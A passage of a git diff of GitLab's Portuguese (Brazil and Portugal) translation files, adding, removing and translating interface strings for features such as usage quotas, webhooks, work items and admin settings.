msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "Para importar um repositório SVN, confira %{svn_link}."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr "Para manter este projeto em andamento, crie uma nova issue"
@@ -43211,8 +43917,8 @@ msgstr "Sua lista de tarefas mostra o que fazer a seguir"
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
-msgstr "pediu acesso"
+msgid "Todos|has requested access to %{what} %{which}"
+msgstr "pediu acesso a %{what} %{which}"
msgid "Todos|mentioned %{who}"
msgstr ""
@@ -43508,24 +44214,12 @@ msgstr "Crie um novo grupo para iniciar sua avaliação do GitLab Ultimate."
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr "Dia %{daysUsed}/%{duration}"
-msgid "Trials|Go back to GitLab"
-msgstr "Voltar para o GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "Pular avaliação"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr "Atualizar %{groupName} para %{planName}"
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "Você sempre pode retomar este processo selecionando seu avatar e escolhendo 'Iniciar uma avaliação do Ultimate'"
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr "Você pode aplicar sua avaliação a um novo grupo ou a um grupo existente."
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "Você não obterá uma avaliação gratuita agora, mas pode sempre retomar esse processo selecionando seu avatar e escolhendo 'Iniciar uma avaliação do Ultimate'"
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] "Você tem %{daysRemaining} dias restantes no GitLab %{planName}!"
@@ -43595,10 +44289,10 @@ msgid "Triggerer"
msgstr "Gatilho"
msgid "Trigger|Description"
-msgstr ""
+msgstr "Descrição"
msgid "Trigger|Trigger description"
-msgstr ""
+msgstr "Descrição do gatilho"
msgid "Trigger|Trigger user has insufficient permissions to project"
msgstr ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr ""
+msgid "Try it out now"
+msgstr "Experimente agora"
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr "Experimente o novo IDE Web"
-
msgid "Try the troubleshooting steps here."
msgstr "Tente as etapas de solução de problemas aqui."
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr "Não é possível carregar o diff. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr "Não foi possível analisar JSON"
@@ -44032,6 +44729,9 @@ msgstr "Desprogramar tarefa"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Desmarcar como favorito"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr "Não verificado"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "Atualizado"
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr "Configurações do grupo &gt; Cotas de uso"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr "Inclui artefatos, repositórios, wiki, envios e outros itens."
-msgid "UsageQuota|Increase storage temporarily"
-msgstr "Aumentar o armazenamento temporariamente"
-
msgid "UsageQuota|LFS storage"
msgstr "Armazenamento LFS"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr "Saiba mais sobre o armazenamento em excesso"
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "Saiba mais sobre as cotas de uso"
@@ -44341,15 +45041,9 @@ msgstr "Artefatos de pipeline e artefatos de tarefa, criados com CI/CD."
msgid "UsageQuota|Pipelines"
msgstr "Pipelines"
-msgid "UsageQuota|Purchase more storage"
-msgstr "Comprar mais armazenamento"
-
msgid "UsageQuota|Purchased storage"
msgstr "Armazenamento comprado"
-msgid "UsageQuota|Purchased storage available"
-msgstr "Armazenamento comprado disponível"
-
msgid "UsageQuota|Purchased storage used"
msgstr "Armazenamento comprado usado"
@@ -44405,13 +45099,7 @@ msgid "UsageQuota|The namespace is currently using %{strong_start}%{used_storage
msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr "Esta é a quantidade total de armazenamento usada por projetos acima do limite de %{actualRepositorySizeLimit} armazenamento gratuito."
+msgstr "A tabela abaixo mostra o uso desde %{usageSince}"
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr "Este espaço de nome não tem projetos que usaram executores compartilhados no período atual"
@@ -44419,12 +45107,6 @@ msgstr "Este espaço de nome não tem projetos que usaram executores compartilha
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr "Esta tabela omite projetos que usaram 0 minutos de CI/CD ou 0 duração de executores compartilhados"
-msgid "UsageQuota|Total excess storage used"
-msgstr "Total de armazenamento em excesso usado"
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr "Total de armazenamento de espaço de nome usado"
-
msgid "UsageQuota|Uploads"
msgstr "Envios"
@@ -44452,9 +45134,6 @@ msgstr "Uso de recursos de projeto entre o projeto %{strong_start}%{project_name
msgid "UsageQuota|Usage of resources across your projects"
msgstr "Uso de recursos em seus projetos"
-msgid "UsageQuota|Usage quotas help link"
-msgstr "Link de ajuda de cotas de uso"
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr "Configurações do usuário &gt; Cotas de uso"
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "Você usou: %{usage} %{limit}"
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr "de %{formattedLimit} da sua memória de espaço de nome"
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr "Utilizar modelo"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr "Usuário %{username} foi removido com sucesso."
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr "(Ocupado)"
msgid "UserProfile|Activity"
msgstr "Atividade"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Já denunciado por abuso"
-
msgid "UserProfile|Blocked user"
msgstr "Usuário bloqueado"
@@ -44937,12 +45616,12 @@ msgstr "Projetos favoritos"
msgid "UserProfile|Subscribe"
msgstr "Inscrever-se"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "Este usuário não possui nenhum seguidor."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Este usuário não tem nenhum projeto pessoal"
-
msgid "UserProfile|This user has a private profile"
msgstr "Este usuário tem um perfil privado"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr "Visual Studio Code no seu navegador. Veja código e faça alterações na mesma interface do usuário como em seu IDE local 🎉"
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45145,7 +45821,7 @@ msgid "Value Stream Analytics can help you determine your team’s velocity"
msgstr ""
msgid "Value might contain a variable reference"
-msgstr ""
+msgstr "O valor pode conter uma referência de variável"
msgid "Value stream"
msgstr "Fluxo de valor"
@@ -45271,7 +45947,7 @@ msgid "Variables can be:"
msgstr "As variáveis podem ser:"
msgid "Variables can have several attributes."
-msgstr ""
+msgstr "As variáveis podem ter vários atributos."
msgid "Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables."
msgstr "As variáveis armazenam informações, como senhas e chaves secretas, que podem ser usadas em scripts de tarefa. Todos os projetos na instância podem usar essas variáveis."
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr "Verificado"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "Verificar configuração SAML"
@@ -45315,9 +45994,6 @@ msgstr "Verificar configuração"
msgid "Version"
msgstr "Versão"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr "Ver todas as issues"
msgid "View all projects"
msgstr "Ver todos os projetos"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr "Visualizar log"
msgid "View logs"
msgstr "Ver registros"
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr "Ver marcos"
@@ -45513,6 +46195,9 @@ msgstr[1] "Ver chaves GPG públicas"
msgid "View replaced file @ "
msgstr "Ver arquivo substituído @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Ver a documentação"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr "Visibilidade"
-
msgid "Visibility and access controls"
msgstr "Visibilidade e controles de acesso"
@@ -46270,7 +46955,7 @@ msgid "Webhooks|Job events"
msgstr "Eventos de tarefa"
msgid "Webhooks|Mask portions of URL"
-msgstr ""
+msgstr "Mascarar partes da URL"
msgid "Webhooks|Member events"
msgstr "Eventos de membro"
@@ -46284,12 +46969,12 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "Eventos de pipeline"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
-msgstr ""
-
msgid "Webhooks|Regular expression"
msgstr "Expressão regular"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
+msgstr ""
+
msgid "Webhooks|Releases events"
msgstr "Eventos de versões"
@@ -46327,7 +47012,7 @@ msgid "Webhooks|URL preview"
msgstr "Pré-visualização de URL"
msgid "Webhooks|Used to validate received payloads. Sent with the request in the %{code_start}X-Gitlab-Token%{code_end} HTTP header."
-msgstr ""
+msgstr "Usado para validar as cargas recebidas. Enviado com a solicitação no cabeçalho HTTP %{code_start}X-Gitlab-Token%{code_end}."
msgid "Webhooks|Webhook disabled"
msgstr "Webhook desativado"
@@ -46735,9 +47420,21 @@ msgstr "Trabalho em andamento (aberto e não atribuído)"
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr "%{workItemType} excluído"
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr "Atividade"
+
msgid "WorkItem|Add"
msgstr "Adicionar"
@@ -46824,6 +47521,9 @@ msgstr "Tarefa existente"
msgid "WorkItem|Expand tasks"
msgstr "Expandir tarefas"
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr "Incidente"
@@ -46833,7 +47533,7 @@ msgstr "Issue"
msgid "WorkItem|Iteration"
msgstr "Iteração"
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,8 +47566,8 @@ msgstr "Nenhum"
msgid "WorkItem|Objective"
msgstr "Objetivo"
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
-msgstr "Apenas membros do projeto com pelo menos a função de Relator, o autor e os responsáveis podem visualizar ou serem notificados sobre esta tarefa."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
+msgstr ""
msgid "WorkItem|Open"
msgstr "Abrir"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr "Tarefas"
msgid "WorkItem|Test case"
msgstr "Caso de teste"
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr "Você está prestes a excluir este projeto com fork que contém:"
msgid "You are about to delete this project containing:"
msgstr "Você está prestes a excluir este projeto que contém:"
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Você está prestes a transferir o controle da sua conta para o grupo %{group_name} . Esta ação NÃO é reversível, você não poderá acessar nenhum dos seus grupos e projetos fora do %{group_name} assim que a transferência for concluída."
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr "Você também pode marcar uma etiqueta para torná-la uma etiqueta de prioridade."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Você também enviar arquivos existentes do seu computador usando as instruções abaixo."
@@ -47270,6 +47982,9 @@ msgstr "Você pode convidar um novo membro para %{project_name}."
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Você pode mover o gráfico usando as setas do teclado."
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr "Você pode especificar o nível de notificação por grupo ou por projeto."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "Você pode testar o seu .gitlab-ci.yml no %{linkStart}CI Lint%{linkEnd}."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr "Você pode ver a fonte ou %{linkStart}%{cloneIcon} clonar o repositório%{linkEnd}"
@@ -47327,8 +48039,8 @@ msgstr "Você não pode acessar o arquivo bruto. Por favor, aguarde um minuto."
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
-msgstr ""
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
+msgstr "Você não pode aprovar sua própria implantação. Esta configuração pode ser ajustada nas configurações de ambiente protegido."
msgid "You cannot combine replace_ids with add_ids or remove_ids"
msgstr ""
@@ -47420,7 +48132,7 @@ msgstr "Você não tem nenhuma solicitação de mesclagem em aberto"
msgid "You don't have any recent searches"
msgstr "Você não tem nenhuma pesquisa recente"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr "Você já denunciou este usuário"
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Você recebeu acesso %{access_level} ao %{source_link} %{source_type}."
@@ -47566,6 +48281,9 @@ msgstr "Você deve ter o acesso de mantenedor para apagar um bloqueio"
msgid "You must provide a valid current password"
msgstr "Você deve fornecer uma senha atual válida"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Você deve fornecer sua senha atual para alterá-la."
@@ -47719,8 +48437,10 @@ msgstr "Você já ativou a autenticação de dois fatores usando autenticadores
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47958,6 +48678,9 @@ msgstr "Sua mensagem aqui"
msgid "Your name"
msgstr "Seu nome"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr "Sua senha"
msgid "Your password reset token has expired."
msgstr "Seu token de redefinição de senha expirou."
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr "Seu nome de usuário é %{username}."
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,11 +49228,14 @@ msgstr "Verificação de imagem de cluster"
msgid "ciReport|Code Quality"
msgstr "Qualidade de código"
-msgid "ciReport|Code Quality failed loading results"
-msgstr "Qualidade de código falhou ao carregar resultados"
+msgid "ciReport|Code Quality failed to load results"
+msgstr ""
+
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
-msgstr "Os resultados das métricas de teste de qualidade de código estão sendo analisados"
+msgid "ciReport|Code Quality is loading"
+msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
msgid_plural "ciReport|Code quality degraded due to %d new issues"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "Sem mudanças na qualidade do código"
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr "não é um URL válido."
-
msgid "is not a valid X509 certificate."
msgstr "não é um certificado X509 válido."
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "deve ser maior que a data de início"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, e %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr "verificar propriedade"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "versão %{versionIndex}"
diff --git a/locale/pt_PT/gitlab.po b/locale/pt_PT/gitlab.po
index 885de7649e7..256e46b7e4d 100644
--- a/locale/pt_PT/gitlab.po
+++ b/locale/pt_PT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-PT\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr "%{level_name} não é permitido num grupo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} não é permitido uma vez que o projeto de origem do fork tem uma visibilidade mais baixa."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr "%{text} está disponível"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "1 função"
msgstr[1] "%d funções"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 utilizador"
-msgstr[1] "%{num} utilizadores"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr "Tokens de Acesso"
msgid "Access denied for your LDAP account."
msgstr "Acesso negado à tua conta LDAP."
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr "Ativar Central de Serviços"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr "Parar trabalhos"
msgid "AdminArea|Stopping jobs failed"
msgstr "Erro ao parar trabalhos"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Domínio Auto DevOps"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
